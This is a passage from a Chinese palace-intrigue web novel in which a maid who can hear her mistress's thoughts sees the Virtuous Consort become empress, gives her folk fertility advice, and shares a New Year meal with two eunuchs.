再又出了杜氏伤宫女的事,更坐实了她心思恶毒,弄死两个宫女想来也是她能干出来的。 芰荷不解,但还是應下:“我帮你问一问,青玉青古两位姑姑应当知晓。” 六局中属于贤妃管理的三局事务,青玉青古都会经手,问她们再快不过了。 芰荷伸出手,按了按沈青的眉头:“小姑娘的心思不要这么重,不然該长不好看了。” 沈青呆滞抬头,看到芰荷轻松的模样,不由大悟,芰荷知道的阴私经手的事宜不比她少,但却丝毫不被这些事困扰,活得通透自在。 若她再陷入这些事里,没得先把自己累死,何不在此之前先当个快快乐乐的小宫女? /:. 沈青机灵地冲芰荷笑了笑,拉着她的手臂摇了摇。 “芰荷姐姐,我们午膳吃什么?小厨房会加餐吗?” 芰荷失笑,说午膳与昨日应该大差不差,说厨娘今早恰好做多了糕点,每人应能分到两块。 沈青闻言,幸福地都快晕了。 两块,这是特意做多的吧。 呜呜,贤妃好,厨娘好,芰荷也好,反正没有什么不好的。 芰荷下午的时候便问清了朝露如今是尚宫局司薄司正八品掌薄,因尚宫局是贤妃娘娘的职责范围,沈青定然不相信朝露是贤妃的人,不然贤妃何必去猜疑,于是转身将朝露的事挑挑拣拣告诉了萱草。 萱草虽迟钝,但跟在贤妃身邊久了,也锻炼出来一些,且她谨慎,不放过一点可疑之处,当下便派人去查。 然后发现朝露与司薄司中一位正七品的典薄有联系。 想到贤妃在查司薄司的內鬼,萱草便将此事报了上去。 于是在某一天,正在悠闲研究胭脂水粉的沈青忽然收到了二十两的赏赐。 因为伤未好全,她最近非常堕落,美得不知今夕何夕了,连贤妃身边都没凑近,更遑论听心声了。 且心声太私密,不是自己当值时,她不会刻意去听,去窥探贤妃的心思。 沈青捧着用荷包装的赏银,问萱草:“萱草姐姐,娘娘为什么要赏赐我?妆粉还没研究出来呢?” 萱草开心到眉飞色舞道:“沈青,你立大功了!” “多亏了你提供的消息,不然娘娘还在头疼司薄司哪里出了问题……你或许听不懂,不过没关系,娘娘那里为你记了一功,如果之后多出一名大宫女的名额,很可能就提拔你了。” 沈青觉得作为新人,升职太快会遭人记恨,于是一边随萱草开心,一边谦逊道:“我年纪还小,领不住事,翠微漆姑芰荷三位姐姐才更合适。” 萱草听明白后很快撇开此事:“大宫女的名额什么时候有还不知道呢,不操心这个了。不如你与姐姐说说,中午想吃什么,姐姐专门让小厨房为你做几盘菜。” 这次沈青打心底开心,脆生生道:“红烧肘子!” 萱草拍着胸脯表示:“没问题。”包在她身上了。 萱草的快乐很简单,娘娘高兴她便高兴。沈青的快乐也很简单,有錢有肉即可。 沈青在景仁宫大门不出二门不迈,养伤和给自己找点事做,如此两个月,皇上来了景仁宫有八次,其中一半都实打实叫了水,景仁宫上下一片喜气洋洋。 不为超越了谁,而是永壽宫德妃那里皇上两个月才去了六次。 萱草終于扬眉吐气,跟沈青吐槽德妃身边的石榴如何如何,但吐槽德妃她是没这个胆的,而她说身为德妃大宫女石榴的也不过是些微末小事。 沈青听得好笑。 不过紧接着的一件大事,打了后宫众人一个措手不及。 皇上下旨封贤妃萧裳月为皇后,命制作册宝,择吉日举办封后大典。 钦天监给出了十月初八、十月甘一和十一月初七三个吉日,最終由皇上选定了十月初八这天。 不提其他嫔妃收到消息多么震惊,万众瞩目的景仁宫接到圣旨后亦是喜憂参半。 喜,娘娘封后,她们一步登天,成了皇后宫女,这是何等幸运荣耀。 憂则是,现在距离封后大典只有不足一个月,时间紧迫,不知道一应礼仪是否会因此敷衍了事。 不过好在,皇上派了錢全忠来协助娘娘。 而沈青,巨大的惊喜过后,便明白小定子为什么要让她来贤妃这里,莫不是王积贵早明白了圣意,算到了这一切。 小定子那时也说过,等宫内大调动时他就离开思过斋。 现在杜氏早早倒台,小定子应是未提前到御前——因为她没在皇上来景仁宫带的人中发现他,收到他的消息中也没有言明他到御前这事。这次封后大概是他调到御前的最佳时机,趁着宫中乱糟糟一片。 因封后,平静已久的后宫终于要动荡起来了。 外面热热闹闹,其他嫔妃都去向贤妃提前道贺,唯独永寿宫一片死寂。 德妃端坐在铜镜前,眼神不断变化,最终将双手覆到眼上,不再去看。 她的声音轻飘飘的:“本宫以为,皇上是中意我的。” 在这之前,确实如此,可为什么结果却出乎了她的意料。 虽明知后位人选要么是她要么是贤妃,要么是朝中重臣之女,但她仍想感叹,为什么萧裳月的命会那么好。 她李舒意又哪里不如她了? 室内,只留了石榴一人,石榴担忧道:“娘娘……”却不知从何劝起。 “莫不是皇上知道了杜氏是遭了咱的算计?才——” 德妃咬牙否认:“不可能!” 石榴压低声音:“刘顺没有在织云殿就畏罪自杀,而是被钱全忠的徒弟钱继带走赐死,若在这之间,钱继嗅到不对,继而拷打了刘顺,在那种情况下没有十足的把握证明刘顺不会吐露了有人在背后指使他。” 德妃揉了揉眉心:“这只是你的猜测。” “娘娘,钱全忠历经两朝,他的徒弟必然也是个狗鼻子,他们效忠于皇上。偏皇上不需要确凿的证据,只需要起疑心,局势就会对娘娘万般不利,我们不得不做最坏的打算。” 德妃终是接受了石榴的说法,叹了口气,睁开眼,眼神趋于平静。 “若你的猜测为真,便让我们的人先蛰伏下来,我不信,当皇后会一直顺遂。” 未来还长远着呢。 石榴明白德妃要做什么,忠心道:“是。” 她是李家为德妃精心培养的亲信,只需全力辅佐德妃。 第23章 第23章宫女二十三日 贤妃的封后大典举办得很隆重,有钱全忠在一旁统筹全局,青玉青古很快上手了相关事宜,就連萱草都变得稳重起来。 沈青跟着萱草帮忙,待遇一升再升,后宫的宫人见了她,一个赛一个尊敬。 封后是朝堂和后宫一等一重要和热闹的事,整个京城都因此气氛热烈情绪高涨起来,一扫先帝驾崩三年内的肃穆。 经此一事,京城官员家 的适齡子女开始相看定亲或完成嫁娶,一是先帝孝期内不允许当官有功名者嫁娶,违者夺官褫爵,这一耽搁,就耽搁了三年,有些男子女子的年齡都拖大了,需要尽快完婚,二是明年是三年一大選的日子,官员家中适龄女子需要经由层层選拔成为秀女,入宫選妃,但若在大选之前定下婚约,便不必成为秀女进入皇宫。 对于这件事,素来都是这么操作的,皇家也睁一只眼闭一只眼,毕竟不願意进宫的强纳进来,兴许会有顶着九族也要伤害皇上的人。 不如各退一步,两家欢喜。 陆府。 陆家长女陆云湄带着婢女星罗穿过抄手游廊,去向陆家主母请安。 “母亲是在忧心女儿的婚事?”陆云湄睁着眼睛看向陆家主母林夫人林婉,明明什么都没做,但陆云湄的那双眼睛像个钩子一样,勾得人心神荡漾,她本人更是一身雪肌媚态横生。 陆云湄是陆家庶长女,她的亲生娘亲扬州瘦马出身,被人转手送给了陆父做妾,人人叫她云姨娘,那一年,陆家老爷一直流連在云姨娘身邊,亲娶的妻子林婉颇受冷淡。 然而好景不长,云姨娘产女时难产身亡,只留下了一女,便是陆云湄。 彼时林婉膝下无子,整个陆家都只有陆云湄这一个孩子,林婉便将陆云湄抱在自己膝下抚养,雖未成为嫡女,但待遇和嫡出的一般无二。 林婉雖不喜云姨娘,但对小孩没什么恶感,得了女儿也只像其他人家一般用心教养,然而陆云湄越长,她的容貌就越掩盖不住,比之云姨娘那时更为出色。明珠掩盖不住,即便林婉常常将陆云湄拘在家中,但京中关于她容貌颜色还是流传颇广。 临近大选,陆父有心让长女进宫为家族谋一份长久富貴,林婉覺得不行,仍是照常为陆云湄相看人家。 以陆云湄的姿容,她只能高嫁,但选来选去,林婉看上的几家要么家里有个强势的婆母,要么家中儿郎不顶用,要么长嫂是个不好惹的,要么家里的小叔子是京中有名的纨绔。 总之,没个顺心的,这几日,林婉都吩咐身邊的婆子熬药来喝了。 面对从小看到大的陆云湄,林夫人即便身为女子,也不可避免恍惚了一瞬:“是有这事,但婚事还需你自己挑一挑,这几家……” 林夫人还未说完,陆云湄便道明来意:“母亲,女儿願进宫参加选秀。” 林夫人皱眉:“可是你父亲和你说了什么?不必管他。” 陆父是个不中用的,年轻时还看着有点前途,然而年龄越大,越在一个从六品的官位上蹉跎,与他同一年参加殿试的人有的都已成三品大员。 陆云湄微微一笑:“不全是为了父亲,女儿更想成为阿弟的助力。再者,成了皇帝嫔妃,便无人敢轻嘴薄舌于我,嫁人当嫁天底下最尊貴的人,女儿想进宫看看。” 陆云湄的弟弟是林婉唯一的孩子,今年十二岁,也是个俊俏的少年郎。陆父在云姨娘走后悲痛之下染了酗酒的毛病,后来一朝大梦初醒,才察覺这三年来自己愧对了妻女,与林婉重归于好后,林婉于次年产下一子,名为陆云圭。 陆父从小是神童,后来酗酒后才情没了大半,陆云圭没继承到父亲的神童之名,只是小有聪慧,仕途恐怕更为渺茫,但有个宠妃姐姐,却是大不一样了。 林夫人听到陆云湄提起陆云圭,心中瞬间不坚定起来,她不在意陆父,但陆云圭却是她唯一的指望。 “后宫人心难测,你如何挨得过其他嫔妃的针对?”陆云湄她从小养大,顺利进宫是没问题的,若有问题,只能是宫里的人不愿多一个劲敌,那也没什么好说的了。 陆云湄:“所以我才来寻母亲,听说我小娘留下了一个仆人,女儿想见一见,像她学一些东西。女儿觉得,在宫中,有皇上的宠爱加自身的谨慎,一切阴谋诡计便可迎刃而解。” 林夫人看着陆云湄慢慢羞红了的臉,便知她有了自己的主见,终是点了点头。 当年她嫌弃云姨娘的手段下三滥,便一直不让陆云湄见云姨娘倚重的婆子,但陆家小,陆云湄对那个婆子的存在也是知情的。 陆云湄拉住林婉的胳膊,缓缓将头枕在了林婉的肩头:“女儿知道母亲为我好,可女儿也想为母亲做些什么。” 林夫人叹了口气,冥冥之中,陆云湄走上了她小娘的老路,但天家嫔妃,总归是有些不同的吧,她只愿陆云湄此入宫门,一切顺遂。 她扶起陆云湄:“既然你要入宫,陆家便该举家托举。我们家在宫中也是有一点人脉的,且宫里的惠貴嫔是我娘家族妹,她无宠在身,但好歹是一宫之主,想来会因这些亲缘帮衬你一二的……” 窗外大雪纷纷扬扬,皇宫里的宫墙深院也换了一套银装素裹的装扮。 坤寧宫内。 萱草在廊下望着雪景,重重打了个喷嚏。 沈青一身厚宫衣,正组织小宫女给扫雪的宫人熬姜汤,见状亲自为萱草端了一碗过来:“姐姐,快些趁热喝了,不然又该染风寒了。” 也是因为下雪,萱草寒风入体,就生了病,皇后娘娘特意为萱草多添了炭,让她养好病再来近身伺候。 彼时贤妃刚成皇后没多久,萱草太高兴,便在今年的第一场雪时带着小宫女去玩雪,便乐极生悲了。 现在萱草刚好没几天,望着雪,像是又蠢蠢欲动故态复萌了。 沈青臉上生出无奈,盯着萱草将姜汤喝得一干二净。 萱草苦着臉,向她展示:“瞧,全喝完了。有什么奖励?” 沈青闻言想去拿蜜饯甜萱草的嘴,谁知道萱草凑过来,啵一声,嘴唇印在了她脸頰上。 嘴里还说着:“越长越好看了,让姐姐香一口。” 沈青目瞪口呆,连看了萱草好几眼,确定她是真直女,一副被可爱到的模样这才擦了擦脸頰。 在皇后身边,她吃得好,穿得好,人也倍儿精神的缘故,她整个人粉里透红,脸颊带着婴儿肥的圆润,乌曈水润,眉毛不画而黑,就连头发都浓密黑亮,用青丝如瀑雾鬓云鬟来形容再恰当不过了。 沈青头戴自己制作的毛球发飾,垂落在发髻一侧,不但不显得幼稚,反而很是灵动可爱,很衬雪景。 因为这,她遭了几位姐姐數不清的毒手。但因为实在喜欢,她换着花样的制作,不同样的戴在头上。 看着沈青脸颊上的软肉弹了一下,萱草心满意足弯唇。 因娘娘成为皇后,身边便多出来一名大宫女的位置,只是沈青无意相争,只想老老实实研究妝粉,为娘娘上妝,萱草便由得她。但是在私底下,她向皇后娘娘建言了与沈青交好的芰荷。 芰荷的资历是完全够的,和她呆在一起也很让人舒心。萱草不想未来的同僚是个能惹事的,也不希望是个会找沈青麻烦的。 皇后娘娘思量了一番,便提拔了芰荷。 翠微漆姑遗憾落败,但也没什么微词,她们都是老实做事的人,私底下也会和沈青聚在一起研究皇后娘娘的妝发服飾,好的妆需要配合适的发髻,华丽的发髻也需要妆容跟上,二者相辅相成。 她们的目的只有一个,让皇后娘娘的威仪压过四座,绝不能让底下嫔妃生出僭越的心。 在封后的第二日,众妃请安的时候,皇后便收回了德妃的宫权,德妃还的利落,但回去后,还是告了病。 皇后心知德妃是不愿在她面前做小伏低,来坤寧宫日日请安,毕竟她原就是那般高傲的贵女,于是也没揪着此事不不放,更没提将德妃的绿头牌撤下去。 皇后心地善良,萱草却直哼哼,时刻担心娘娘被嫔妃欺负了。 耳濡目染下,沈青翠微漆姑三个搞妆发服饰的,自然不能让娘娘输了阵。 芰荷升了职,大宫女人數是够了,但皇后身边本需配备六名二等宫女,如今缺口一下子便大了,然而皇后觉得人手够用,便觉得此事不急,和眼缘才最重要。 眼下更重要的事便是大婚之后,帝后感情之事。 乾清宫和坤寧宫本就居于皇宫中轴线上,离得也颇近,中间只有一个交泰殿。 因此皇上政事不忙时,不需乘龙辇,走两步都能到坤宁宫,比去东西六宫都要方便得多。 也因此,常常打皇后一个措手不及,于是夫妻之间便也少了几分疏离,多了些情谊。 皇后忙于宫务,皇帝忙于政事,但在午膳时,十次有六次,两人是在一起吃的。 而且刚大婚一个月,皇上很给面子没去后宫,到坤宁宫的次数简直比以往一年来皇后这的还多。 坤宁宫上下喜气洋洋,皇后心里也高兴,她一高兴,就爱翻一番月例。 天菩萨啊,去哪儿找这么好的皇后。 但皇上来得次数多了,皇后的心里话就有点黄,常常坐着梳妆,心思都已经不知道飘在哪儿了,弄得沈青恨不得当个聋子。 她还小,听不得酱酱酿酿。 皇上来得频,皇后自然也得有所表示,于是让小厨房准备了皇上喜欢的汤,着人送去乾清宫。 因为小定子是王積贵的人,王積贵和钱全忠在皇上身边更像是一个主内,一个主外。因此随皇上来坤宁宫的多是钱全忠或是他的徒弟钱继。 于是沈青如果要见小定子,便要随着一起去乾清宫送汤。 小定子如今也被调到了乾清宫,王积贵手下,同时还改了名字,随了王积贵的姓,名唤王定,也是个叫得上名号的小人物了。 虽然沈青和王定不能光明正大交好,但问个好还是可以的。 比八九月时便利了许多。 第24章 第24章宫女二十四日 除夕之前,腊月初一,天气晴朗,路上少有积雪,太后回宫。 皇上皇后率一众嫔妃迎接,御林军护卫着太后的车架停在宫门口,一名穿着深紫色衣裳的妇人从马车上下来,她约莫三十多岁,生得溫婉动人,臉上无一丝皱纹,容貌与皇上有些相似,看得出是亲母子。 沈青青只看了一眼太后,便发覺皇后的气质有些肖似太后,都是溫婉和气那一挂。 难道皇上封娘娘为皇后还有太后这一重原因? 皇上上前扶住太后的胳膊,平日少言少语的皇帝在太后面前话也仿佛多了起来,问太后在外面吃住可舒心,佛法上的进益,甚至还能和太后谈两句佛经。 太后简单回答了几句,目光便落到皇后身上,皇后紧张请母后安,太后便顺着夸了几句,然后从嫔妃中指到颜修仪,讓她伴在身旁。 因皇上皇后一左一右立在太后身邊,德妃牢牢霸住皇上身邊的位置,颜修仪便只能站在皇后身邊。 太后、皇后、颜修仪站在一起,沈青青更感奇异,比起颜修仪,皇后倒更像是太后的亲侄女。 约莫覺得这一幕有趣,身为皇帝的紀宸居然唇畔带了一丝笑。 紀宸尚未及冠就登基为帝,可能觉得年龄不能服众,因此他少有笑的时候,目光沉沉似乎能看透人心,就连帝后大婚也不是开怀大笑,而是符合那时氛围的浅笑。 至于与皇后平日在坤寧宫的相处,卸下了一部分帝王威信,輕松随适了许多,但也未迁就到带笑。 这一刻,紀宸的随心而笑,为他增色了许多。 沈青青一直知道皇帝长得好,不然也不能迷住皇后,但还是被惊艳了一下,于是连忙将余光放在了其他嫔妃上。 不管心里想的怎么样,皇后和颜修仪在太后面前相处的极为融洽,像极了一对姐妹。至于终于出了永寿宫的德妃,则不咸不淡,对太后也稱不上亲近。毕竟有颜修仪这个亲侄女在宫中,再怎么讨好,也不及颜修仪在太后心中的地位,且她已是妃位,早就在宫中立足了,压根不需要太后提拔。 德妃不认为她在短时间內能成为贵妃,皇后不会允许,皇上亦不会允许。 既如此,没得给自己找桩麻烦。 惠贵嫔臉上带着真心实意的笑容,似乎很为颜修仪高兴。太后回来了,皇上只要准备去后宫,颜修仪被翻牌子的次数绝对会增加。 皇上可是出了名的孝子。 至于其他低位嫔妃,纵然想讨好太后,在这种情况下也是凑不过去的,看向颜修仪的目光不免带上了羡慕。 看看人家的出身,同一个大选的秀女,颜修仪不需熬资历就早早就成了修仪,而她们却只能依靠皇上的宠爱慢慢升位份,偏偏皇上对位份还十分吝啬,唯一的大方给了杜氏…… 嗐,宫內已经没有嫔妃会去主动提杜氏了,至多把她当成一个教训。 太后看着皇上的嫔妃们,目光一凝:“皇儿后宫的人还是少了些。上次大选竟只出了高美人一个得皇上宠爱的,玉贵人何在?讓哀家看一看。” 高美人的臉上露出些许自满,剩下同是大选出身的两名宝林两名才人俱神色羞愧,颜修仪神情不变。 玉贵人出列,本本分分行了礼,请太后安。 玉贵人年輕貌美,是很标准的美人之姿,犹如一朵形姿优美的山茶花。 太后满意地点了点头,褪下手上的镯子,亲自戴到了玉贵人细嫩柔美的手腕上:“仪容端庄,是个好孩子。” 感受到高美人落到镯子上的目光,玉贵人心中苦笑,太后这是在为她树敌。 罢了,即便她对高美人说,她无意与她相斗,高美人恐怕也是不信的,既然早晚都要对上,她又有什么好怕呢? 玉贵人惊喜又恭敬地谢太后赏赐,随即退回到嫔妃的队伍中。 太后转而又拉起皇后双手,拍了拍:“皇上膝下无子,皇后要早日为皇上诞下嫡长子。” 太后下达任务,皇后身为儿媳能怎么办,只能温柔稱是。 【啧】 一时之间,所有目光都汇聚在了皇后的肚子上,似乎透过那里看到了未来的嫡长子。 沈青青有点想笑,面对催生,即便是皇后,心中也是有点不耐烦的。 不过,皇上已经这么大年纪了——十九岁,居然没有子嗣,在这个朝代可是相当罕见的,尤其他还身为皇帝。甚至后宫嫔妃也没一个传出消息,該不会皇上不能生吧? 在众人都看向皇后的时候,沈青青默默瞟了一眼皇上。 但见纪宸没有丝毫晦暗,应該是能生……的吧? 一群人浩浩荡荡去了慈寧宫,一番折腾下来,后妃都有些精神不济,皇上便讓这些人回去了。过了片刻,他又和皇后离开,慈寧宫中,就只剩颜修仪陪着。 龙辇凤辇一前一后从慈宁宫出来,又分别回了乾清宫和坤宁宫。 坤宁宫中。 皇后神色倦怠靠在紅木雕金凤嵌紅宝石的软榻上,青玉为她梳头,青古为她净脸,脱下沉甸甸的皇后制服,简单披了一件凤袍,室内被地龙烧得暖烘烘,更让人觉得昏昏欲睡。 沈青泡了茶端给皇后,看到皇后在轻抚着肚子,一愣,这是有了? “皇后娘娘您……” 平日沈青不会这么没分寸的,但实在太震惊以至于脱口而出,但好歹截住了后半段话。 皇后的目光顺着沈青的视线落到自己肚子上,手上动作一顿,顿时失笑:“虽喝着藥,但哪能那么快?” 因先帝的子嗣不多,为免意外,皇后自然对皇嗣很上心,在入主坤宁宫的第一天便让人熬了能生子的秘方来喝。这是她娘传给她的,据说京中很多妇人就是靠此方子才得子的,幼时她见母亲喝这种藥嗤之以鼻,然而身份转换,如今的她,也不得不依赖这种藥了。 皇上需要一个嫡长子。 她也需要一个能让她稳固后位的皇子。 皇上在大婚后到现在两个月不临幸后宫何尝不是在给她机会。 听到皇后在喝药,沈青问:“可是太医给娘娘的方子?奴婢真是粗心,居然没注意到娘娘在喝药。” 皇后冲沈青招了招手。 沈青将茶放下,曲蹲在皇后身边,皇后抚着她的脸颊:“非也,是我母亲给我的秘方,听闻许多女子都是靠这一偏方才能有子。” 沈青皱眉,眼中是明晃晃的不赞同,着急道:“娘娘,是药三分毒,何况是这种乡野偏方,应该找太医看过才能喝。且娘娘您这么年轻,怀孕是迟早的事。奴婢有一句话不知当講不当講……” 皇后离沈青最是近,知道她对她一片赤诚,不搀分毫假,于是拦住芰荷想制止沈青的动作:“讲。” “奴婢未进宫的时候,听闻有妇人胡乱喝药,生下的孩子天生就是个残疾有缺的,虽然奴婢不知这概率如何,但即便是万分之一的风险,奴婢也不想娘娘冒。” 皇后沉思,手上轻轻一颤,母亲是断然不会害她的,可沈青的话更让她心惊。 她苦笑一声:“罢了,先把药停了吧。待问过太医再行决断。” 沈青脸上先是一喜,便又纠结起来。 看到她这般好懂的模样,皇后升起兴趣:“不如把话说全。” 沈青红着脸小声说:“其实奴婢这里也有易孕的方法,就看娘娘愿不愿试试了。” 皇后想了想,让室内其他宫人先离开,只留下心腹。 沈青这才缓缓道来,譬如什么日子更容易受孕(排卵期),譬如同房后垫个枕头多躺会儿…… 鉴于她应该是不懂这些的,就不说同房用什么姿势了,只道这些都是母亲告诉她的,她的母亲也战绩可查。 沈青说:“奴婢母亲姓李,在奴婢进宫前她便生了五个儿女了,常常说话没什么顾及,当时可能以为奴婢小,什么都不记得,才没避开奴婢。” 李氏李雁是个绝对称不上温柔的女人,沈青的外祖是个杀猪匠,只因唯一的女儿生得貌美如花,才得以嫁入富商沈家,嫁过去后十几年如一日的夫妻俩如胶似漆。 李雁无弟兄姊妹,外祖家往上数也没有子嗣丰盛的一代,沈家倒枝繁叶茂,不过这不更作证了沈家才是当之无愧有生子技巧的那一个吗? 那身为沈家长女的沈青,知道一些也无可厚非。 皇后听着本来也不好意思了,但看到沈青这么难为情,反而调笑开来。 方才紧绷的气氛瞬间烟消云散,芰荷也舒笑起来。 将漏洞补完,沈青又嘱咐道:“娘娘身边的人年纪都不大,不如找一个经验丰富的嬤嬤来照看,应能少走不少弯路。” 她娘身边就有一个沈家的老嬷嬷,烦人是烦人了点,但懂的是真不少。 皇后眼中闪过光芒。 【这倒是个和太后表孝心的好机会。】 沈青仰着头,脸上满是诚恳。 皇后沉吟道:“本宫明早理应去给母后请安,问一问母后回宫后可有什么不适。” 不适是自然没有的,满宫上下,没有人敢怠慢太后。 翌日,皇后从慈宁宫出来,身后多了一位跟了太后二十余年的嬷嬷,这下,后宫嫔妃便知道,太后是满意皇后的,不然也不会将身边的人赐下去。 腊月一整月,皇后遵循着沈青的方法,心情忐忑又惊奇,她把消息封锁在坤宁宫中,找过太医检查秘方后,虽得到不伤身的回答,犹豫过后还是没在用。 时间很快来到除夕家宴,这是一年到头人来的最齐的一次。 在除夕家宴上,沈青青见到了先帝的其他三位皇子,在心中默默评判了一番。二皇子一双桃花眼,偏风流的长相,因为还是少年人,显得浮躁不担事,三皇子略显痴肥,白白胖胖,但底子是俊逸的,四皇子长相只能称得上周正。 怪不得皇上能稳坐继承人的位置,这三位皇子眼见着是没有能威胁到他地位的能力。 沈青在心中感叹着皇上的好命与顺遂。 至于两位公主,因为住在皇宫,沈青替皇后办事还是见过几次。 永福长公主端庄大气,小小年纪便可在她身上窥见皇室威仪,比她小两岁的小公主就呆萌很多,显得不谙世事。 不期然,永福长公主与沈青四目相对,沈青很想装作什么都没发生的样子,但奈何被抓包了,不由感叹好敏锐的公主,便对其笑了笑。 永福长公主名唤纪仙,她认得沈青,于是绷着小脸对她点了点头。 这才错开视线。 沈青扭头,皇上正在问询几位皇子的功课,长兄如父,言语间不乏勉励督促,这般对比下,更显得几位皇子幼稚非常,且不担事。 要不人是太子呢。 第25章 第25章宫女二十五日 除夕守岁结束后,沈青睁着困倦的一双眼睛,听到皇后说皇上要多给宫人一个月月銀,她瞬间精神,紧接着,皇后便宣布坤宁宫上上下下再多给三个月的月例。 既是犒劳身边宫人过去一年的辛劳,又是图个新年喜庆。 因新年而从腊月初一忙到除夕的坤宁宫众人,即便知道这种忙碌的日子还会持续到正月十五,听到这句话后,臉上的喜悦便怎么也压不住。 就连一向稳重的青玉和青古,都相视笑了笑。 坤宁宫上下喜笑颜开,过年的氛围更浓郁了。 正月初一,沈青换上新衣棉服,数着匣子内越堆越多的銀子,露出真心实意的甜甜笑容,花不完,根本花不完。 今天最累的当属紫禁城的两位主子,皇上需要先进行开笔仪式,然后和皇上进行各种祭祀,祭祀完畢后再去向太后请安贺岁,之后的几天便是各种的宴席宴会。 沈青要做的事情不多,甚至有时候还不需要跟在皇后身边,可以说相当悠闲。 而最讓她期待的莫过于正月十五的赏花灯,届时满宫不上值的宫人都有机会去看煙火。 去年的时候沈青便一个人提前去膳房买了份便于携带的食物——夜宵,边看煙花边啃,最后诚心诚意許了願后,才满足地回了宫女住的庑房。 现在想来还很幸福。 至于去年的願望,沈青已经忘的差不多了,左不过不愁银子用,她现在已经实现了。 到了正月十五这天,皇后身边不需要那么多人伺候,便免了些宫人的值。 鉴于沈青年纪还小,正是喜热闹的时候,就没有将她拘在自己身边。 沈青眼含热泪,却不知该怎么表达感动,只能恭敬行礼致谢:“奴婢谢娘娘恩典!” 因皇后给管厨房的宫人也放了假,沈青自然不会去麻烦对方为自己开火,便提前在膳房预定了盒飯菜。 等到皇后去与宫内其他主子们赏花灯,她则取了食盒去找王定。 王定今日值守乾清宫,提前给她报过信儿,可以去。 宫道上的宫人稀少,都一拥去了最适合看花灯烟火的位置。 沈青到乾清宫时,乾清宫内还值守严密,但属于宫人的庑房處却没什么人,所以她直接去王定的住處等他。 她将食盒放在庑房外的石桌上,坐在那儿等他。 又因不知道他什么时候来,便撕了半只烧鸡在吃,在王定面前,貌似不需要什么形象。 畢竟他是太監,沈青是宫女,又能发生什么呢? 且王定比她大几岁,看她的眼神完全是在看妹妹,这点,沈青还是能发现的。再者,她这具身体才十四岁,王定雖 是太監,但也是太监中较为光明磊落的人,而非变态。 不得不承认,膳房一盘收那么贵的飯菜钱是完全合理的,他们的手艺真是太好了! 呜呜好香啊。 比去年她吃的食物好多了,果然贵有贵的道理。 沈青沉迷于肉香不可自拔,再习惯性往来庑房的方向看,发现不知何时站了一个人,如幽魂一般无声无息。 “王、王公公。” 沈青臉上脖子上一红,突然出现的正是皇上身边最倚重的王积贵,而非他众多干儿子中的一位王公公。 沈青连忙站起来,双手还捧着啃得正香的半只烧鸡:“……奴婢是来找王定公公的。” 小宫女的一双眼睛雾蒙蒙的,但遮不住本身就亮亮的星眸。 无可否认,她是极为特殊的一位,皇后像養亲妹子一样将她養得那般灵动可愛,像只雪白的小兔子,抚过毛茸茸的兔毛,从颈上单手拎起来,亦可感受到那沉甸甸又实腾腾的手感。 全是她辛苦吃上来的。 因为一些缘由,王积贵很早便注意到她,注意到她蒙了尘埃的美貌,心里想着或許是个可用的棋子。 后来沈青常来御前送汤,渐渐地,御前的人便和她熟了,而他也发现新收的干儿子王定与对方熟稔亲近的关系,心中一哂,便明白只要他重用王定一天,王定是不会讓他去利用这个宫女去做危险的事。 王积贵不喜麻烦,皇上也知道他的性子,常讓他守着乾清宫,而非像钱全忠那样去哪儿都带着。又因王定用的实在顺手,他便不会去违背对方心意做一些吃力不讨好的事。 雖然他可以,但那太麻烦了。 轻易察觉到今晚王定浮躁的心思,王积贵不知道自己怎么想的,先一步来到了这里。 在这一刻,王积贵才明白他为什么会被这个小宫女吸引,大约是他从前也养过小兔子的缘故,对这种生物没有丝毫抵抗力。 换成人应该也是一样的。 如果沈青知道他所想,便会知道这位王公公大概喜欢萌物,就像一些猫奴和坤宁宫那些姐姐面对她的模样。 人很容易对可愛的东西生出一副柔软心肠。 而以沈青年龄和样貌,她可爱的浑然天成恰到好处,讓人不自覺将目光落到她身上。 因王积贵长久的不说话,两人之间的氛围死一般的寂静。 沈青的额头在这样冷的天气都要急得冒汗了,眼睛更是圆溜溜的,只能分出心思将烧鸡包进油纸里,偏王积贵察覺不到似的。 王积贵终于缓声道:“王定等会儿就来。” 沈青恍然大悟,原来是王定让王积贵来通知她一声,于是瞬间松了一口气,露出劫后余生的笑容,客气道:“王公公晚上吃饭了吗?要不要来一点?” 千万要拒绝啊,她的一盘菜可贵了。 请王定吃不心疼,毕竟他给了她许多钱,她匣子里一办的银子都有赖于王定才能攒下。 出于在他们两个在宫中都是孤家寡人的身份,她才来找王定的,不然就跟着坤宁宫的姐姐们去看烟花了。 面对小宫女要折半的真诚,王积贵点了点头。 沈青先是愕然,然后坚强露出微笑,将位置让给他,面对好伙伴的干爹,她几乎拿出了对长辈所有的尊敬:“您请。” 即便王积贵看着非常年轻,二十出头的模样。 但干爹就是干爹,王定的也一样。 王积贵虽觉得怪异,但还是走过来,从容落座。 沈青把食盒中一半的食物拿出来,即便这样摆在石桌上还很是可观。 毕竟她力气大么,直接让膳房的人给她準备了最大的食盒。 王积贵的目光落到食物上,沈青就更自在了,殷勤地为他介绍食物,全是她平时爱吃而不常吃的,每道她都能说出优点。 準备这么多,其实还存了让王定分给其他的人心思。 但现在么,王公公吃好喝好才是最重要的,即便不能讨好,也不能让对方记恨她,给王定小鞋子穿。 毕竟都当太监了,心眼自然比常人要小。 沈青脸上露出甜笑,将一双干净的筷子递给王积贵。 王积贵伸手接过,他的手修长干瘦,能看到上面的青筋血管,与沈青纤细柔软的手形成鲜明对比。 小宫女手心的红痕在他眼前一闪而过。 不难猜出,是拎食盒拎的。 王积贵挑沈青极力推荐的食物吃了两口,确实如她所说那般美味。 这时,明显的脚步声响起,王积贵不消回头,就知道来人是谁,果然,小宫女往那个放下看了一眼,眼睛一亮,脸上露出真挚百倍的笑容。 有对比才知道方才对他有几分真诚。 “王定,你终于来了。”话一出口,沈青就自觉失言,抿了抿唇。 同一时刻,王积贵手持的筷子磕到了盘子边缘。 沈青往王定那里走了几步,王定先是冲她点了点头:“久等了。”然后叫了王积贵一声干爹。 王积贵这时才后知后觉琢磨出差辈份了。 他淡淡应了一声,一如往常,看不出他什么态度。 王定看了眼食盒:“既然这样,那就一起吃吧。” 王积贵不说话,往常便是答应的意思,王定习惯了他没什么情绪的模样,拉沈青的袖子让她坐下,叮嘱沈青稍等,便回住处拿东西。 王定回来的时候拿了盒药膏和一个木匣。 沈青的视线落到木匣上,是礼物! 没有人不喜欢收礼,和王定相处真的很舒服。 王积贵的目光却落到药膏上,略略垂眼,明明是他先发现的。 王定隔着袖子捏住沈青的手腕:“把手展开,让我看看磨破了没有。” 食盒木做的,那么沉那么重,平常只有太监会去拎那么大的食盒,也不知她是怎么拎过来的。 